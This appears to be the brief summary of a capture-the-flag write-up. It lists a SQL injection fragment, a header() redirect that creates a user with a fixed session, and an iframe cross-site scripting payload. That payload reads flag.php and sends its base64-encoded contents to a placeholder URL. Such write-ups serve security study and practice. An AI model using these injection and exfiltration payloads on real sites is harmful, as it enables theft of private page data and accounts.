tl;dr
- SQLi - 
lcase('inKypinKy')id from dual - Creating User - 
header("location:http://web/user.php?session=1111-22222-1234&sub=submit"); - Retrieving Flag - 
header("location:http://web/flag.php?session=<iframe id="a" src="http://web/flag.php?session=1111-22222-1234&sub=submit" onload=window.location="<URL>?"+btoa(document.getElementById('a').contentWindow.document.body.innerText)>&sub=submit")